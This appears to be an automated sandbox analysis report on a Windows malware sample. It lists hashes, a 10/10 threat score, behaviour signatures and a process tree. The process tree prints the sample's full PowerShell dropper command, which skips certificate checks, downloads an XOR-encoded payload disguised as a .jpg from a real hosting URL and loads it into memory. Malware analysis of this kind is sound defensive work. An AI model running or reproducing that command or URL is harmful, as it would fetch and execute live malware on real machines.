Overview

overview

10

Static

static

5

e0c0f65152...18.exe

windows7-x64

10

e0c0f65152...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14/09/2024, 18:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e0c0f6515254f492c8fbe9d49a0699cf_JaffaCakes118.exe

  • Size

    849KB

  • MD5

    e0c0f6515254f492c8fbe9d49a0699cf

  • SHA1

    01eb5498b6b9c8da1460afa58afc58b9393f6cdb

  • SHA256

    8fce2302e26d5b0e36a41ada7324725780518b6b1554be1111693d51648f1e7c

  • SHA512

    2d417ae9e10785a3baedfdedbd1876baaf3d370f76ac914fec16e7dc908b8fec543d59a505aed6ec67a57c17df15b0a5cc29f4245c1708a9814dcf134fde6431

  • SSDEEP

    24576:cAHnh+eWsN3skA4RV1Hom2KXMmHaG785:7h+ZkldoPK8YaGG

Score
10/10
discoveryexecution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://d.top4top.io/p_1531wsrx31.jpg

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e0c0f6515254f492c8fbe9d49a0699cf_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\e0c0f6515254f492c8fbe9d49a0699cf_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell $bplss='C:\Users\Admin\AppData\Local\Temp\e0c0f6515254f492c8fbe9d49a0699cf_JaffaCakes118.exe';[Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$zKFnUoDKGsd=(New-Object Net.WebClient).DownloadData('https://d.top4top.io/p_1531wsrx31.jpg');for ($i=0;$i -lt $zKFnUoDKGsd.Length;$i++){$zKFnUoDKGsd[$i]=[byte]($zKFnUoDKGsd[$i] -bxor 'IiCbfAgQJtudyr'[$i % 'IiCbfAgQJtudyr'.Length])};[Threading.Thread]::GetDomain().Load($zKFnUoDKGsd);[HPXeVoBIqRiy]::xczuVQs($bplss)
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2688-2-0x00000000743D1000-0x00000000743D2000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2688-3-0x00000000743D0000-0x000000007497B000-memory.dmp

    Filesize

    5.7MB

    Download

  • memory/2688-5-0x00000000743D0000-0x000000007497B000-memory.dmp

    Filesize

    5.7MB

    Download

  • memory/2688-4-0x00000000743D0000-0x000000007497B000-memory.dmp

    Filesize

    5.7MB

    Download

  • memory/2688-6-0x00000000743D0000-0x000000007497B000-memory.dmp

    Filesize

    5.7MB

    Download